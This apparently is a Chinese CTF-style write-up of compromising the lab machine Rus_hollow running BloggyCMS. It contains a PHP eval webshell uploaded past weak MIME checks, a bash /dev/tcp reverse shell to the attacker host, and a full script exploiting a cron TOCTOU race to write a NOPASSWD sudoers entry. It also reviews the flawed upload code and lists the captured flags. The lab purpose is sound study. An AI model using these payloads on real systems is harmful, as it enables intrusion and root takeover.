808 字
2 分钟
群友的靶机-Rus_hollow

Rus_hollow#

靶机环境:

192.168.56.121

image-20260822135425537

信息收集#

nmap

image-20260822135546280

开放22、80

打开web界面

发现是一个空白界面

image-20260822135612659

查看源码以及标题可以发现这是一个cms系统BloggyCMS 然后就没有什么了 用dirsearch扫描以下目录 不加过滤 会看到很多302 我们只需要看200就可以了

dirsearch -u http://192.168.56.121/ -i 200

image-20260822141903044

/admin/login /archive /LICENSE /login /login/ /posts /README.md /register /storage/ /system/ /tags /templates/ /uploads/

/form/contact

然后我们注册的时候会发现跳转到rus.dsz中

image-20260822140207475

我们添加到host中 如果需要在虚拟机访问的话 也要在/etc/hosts添加记录 我这边用wsl直接添加windows本地的host就好

文件上传拿到www权限 user.txt#

然后再/form/contact看到一个上传文件的接口

image-20260822141835145

猜测可以上传一句话木马

cmd.php

GIF89a
<?php
@eval($_POST['cmd']);
echo('123');
?>

发现上传成功

我们可以在暴露的uploads接口中拿到地址

http://rus.dsz/uploads/forms/2026-08/1787380324_6a8942645e53c_cmd.php

连接蚁剑 反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.56.120/4444 0>&1'

image-20260822144100283

image-20260822144111162

然后转换一下tty

python3 -c 'import pty; pty.spawn("/bin/bash")'\script -qc /bin/bash /dev/null
export TERM=xterm
export SHELL=/bin/bash
stty raw -echo; fg
reset

拿到user.txt

image-20260822144336958

flag{user-7a69386c6b324071d2c5e71e8b834e33}

关于这个题目的文件上传 看下面

代码审计之文件上传#

然后具体的上传流程

在暴露的README.md 我们发现暴露了github的地址然后我们从暴露的地址下载源码进行分析 看一下他的上传逻辑是不是有缺陷

https://github.com/sandwichov/BloggyCms/archive/refs/heads/main.zip

然后我直接给ai了 让ai帮忙审计一下 还是太懒了(bushi)

在system/controllers/forms/actions/ProcessForm.php中校验客户端mime

$allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
if (!in_array($file['type'], $allowedTypes)) {
$errors[$fieldName] = "Разрешены только JPEG, PNG, GIF и PDF файлы";
}

也就是说我们在content-type中添加’image/jpeg’, ‘image/png’, ‘image/gif’, ‘application/pdf’ 服务端就会判定是图片类型

在 system/controllers/forms/Model.php中

$fileName = time() . '_' . uniqid() . '_' . $this->sanitizeFileName($file['name']);
$filePath = $fullPath . '/' . $fileName;
if (move_uploaded_file($file['tmp_name'], $filePath)) {
...
}

保存路径:

$uploadPath = ROOT_PATH . '/uploads/forms';
$monthDir = date('Y-m');
$fullPath = $uploadPath . '/' . $monthDir;

最终文件路径类似:

/uploads/forms/2026-08/时间_随机_hollow.php

也就是说上传后会保留后缀名

然后因为上传到的路径我们web可以访问到 所以可以执行php

然后在system/helpers/FormRenderer.php中我们发现一个隐藏的校验逻辑

$fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
$fileMime = mime_content_type($file['tmp_name']);
if (!in_array($fileExtension, $allowedTypes) && !in_array($fileMime, $allowedTypes)) {
return "Разрешены только файлы типов: " . implode(', ', $allowedTypes);
}

具体意思就是扩展名和MIME只要一个通过就允许上传 所以符合文件上传漏洞

通过竟态提权到root#

在定时任务/etc/cron.d/bloggy-audit中发现

image-20260822144509144

每分钟执行/usr/local/bin/bloggy_audit.sh

我们查看/usr/local/bin/bloggy_audit.sh这个文件

#!/bin/bash
# 收集站点表单目录下的日志文件内容,写入审计日志
OUT=/opt/bloggycms/storage/audit.log
mkdir -p /opt/bloggycms/storage
chown www-data:www-data /opt/bloggycms/storage
cd /opt/bloggycms/uploads/forms
[ -L "$OUT" ] && exit 2
DATA=$(find . -type f -name "*.log" -exec cat {} +)
printf "%s\n" "$DATA" > "$OUT"

这个文件的意思就是检测audit.log是不是软连接是就退出

不是的话把uploads/from文件夹下面的.log文件写到audit.log中

uploads/from这个文件夹是我们可写的

但是在代码

[ -L "$OUT" ] && exit 2
DATA=$(find . -type f -name "*.log" -exec cat {} +)
printf "%s\n" "$DATA" > "$OUT"

这里检查和写入存在一些漏洞

也就是说他先检测 不是软连接就通过 并执行DATA=$(find . -type f -name “*.log” -exec cat {} +)

但如果此时文件比较多而且大的话 他执行会花费一些时间 我们在这个时间里面可以对这个文件进行软连接操作

符合检查时和使用时之间的竟态

通过这个我们可以在文件/etc/sudoers.d/zz_hollow_wwwdata里面写入www-data ALL=(ALL) NOPASSWD

(前天一不小心把wsl的sudoers删掉了 顺便了解了一些sudoers 然后竟然就碰到了 好巧)

所以利用方式就形成了

  1. 检查 audit.log 不是软链接
  2. 中途把 audit.log 换成软链接
  3. root 写入时跟随软链接写到 /etc/sudoers.d/zz_hollow_wwwdata

然后因为自己的代码能力很差 所以让ai搓了一个exp脚本

#!/bin/bash
BASE="/opt/bloggycms/uploads/forms"
RDIR="$BASE/hollow_race"
OUT="/opt/bloggycms/storage/audit.log"
TARGET="/etc/sudoers.d/zz_hollow_wwwdata"
USER_TO_GRANT="${1:-$(id -un)}"
PAD_SIZE="${PAD_SIZE:-80000000}"
echo "[+] current user: $(id)"
echo "[+] grant sudo to: $USER_TO_GRANT"
echo "[+] payload size: $PAD_SIZE"
if [ ! -w "$BASE" ]; then
echo "[-] no write permission on $BASE"
exit 1
fi
if [ ! -w "$(dirname "$OUT")" ]; then
echo "[-] no write permission on $(dirname "$OUT")"
exit 1
fi
mkdir -p "$RDIR"
echo "[+] creating payload log..."
{
printf "%s ALL=(ALL) NOPASSWD:ALL\n" "$USER_TO_GRANT"
yes "# padding" | head -c "$PAD_SIZE"
printf "\n"
} > "$RDIR/00_payload.log"
echo "[+] payload: $RDIR/00_payload.log"
echo "[+] target : $TARGET"
# 先确保 audit.log 是普通文件,避免 cron 一开始检查到软链接直接退出
rm -f "$OUT" 2>/dev/null
: > "$OUT" 2>/dev/null
echo "[+] waiting for root cron: bloggy_audit.sh"
echo "[+] this may take up to 2 minutes..."
end=$(( $(date +%s) + 180 ))
while [ "$(date +%s)" -lt "$end" ]; do
# 等待 cron 进程出现前,一直保持 OUT 是普通文件
rm -f "$OUT" 2>/dev/null
: > "$OUT" 2>/dev/null
# 检测 root cron 脚本是否启动
if pgrep -f "[b]loggy_audit.sh" >/dev/null 2>&1; then
echo "[+] cron detected, switching audit.log to symlink"
rm -f "$OUT" 2>/dev/null
ln -s "$TARGET" "$OUT" 2>/dev/null
# cron 运行期间保持软链接
while pgrep -f "[b]loggy_audit.sh" >/dev/null 2>&1; do
sleep 0.02
done
echo "[+] cron finished, checking sudo..."
if sudo -n -l 2>/dev/null | grep -q "NOPASSWD"; then
echo "[+] success: sudoers written"
sudo -n id
exit 0
else
echo "[-] not hit this round, retrying..."
rm -f "$OUT" 2>/dev/null
: > "$OUT" 2>/dev/null
fi
fi
sleep 0.05
done
echo "[-] timeout, race failed. Run it again or increase PAD_SIZE."
exit 1

执行

image-20260822150529026

成功

拿到flag

image-20260822150738900

flag{root-a5249a8e70de72bb86a5a243f4e7ae47}

flag{user-7a69386c6b324071d2c5e71e8b834e33}

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

群友的靶机-Rus_hollow
https://blog.hollowqing.cn/posts/pentest/rus-hollow/
作者
Hollow
发布于
2026-08-22
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录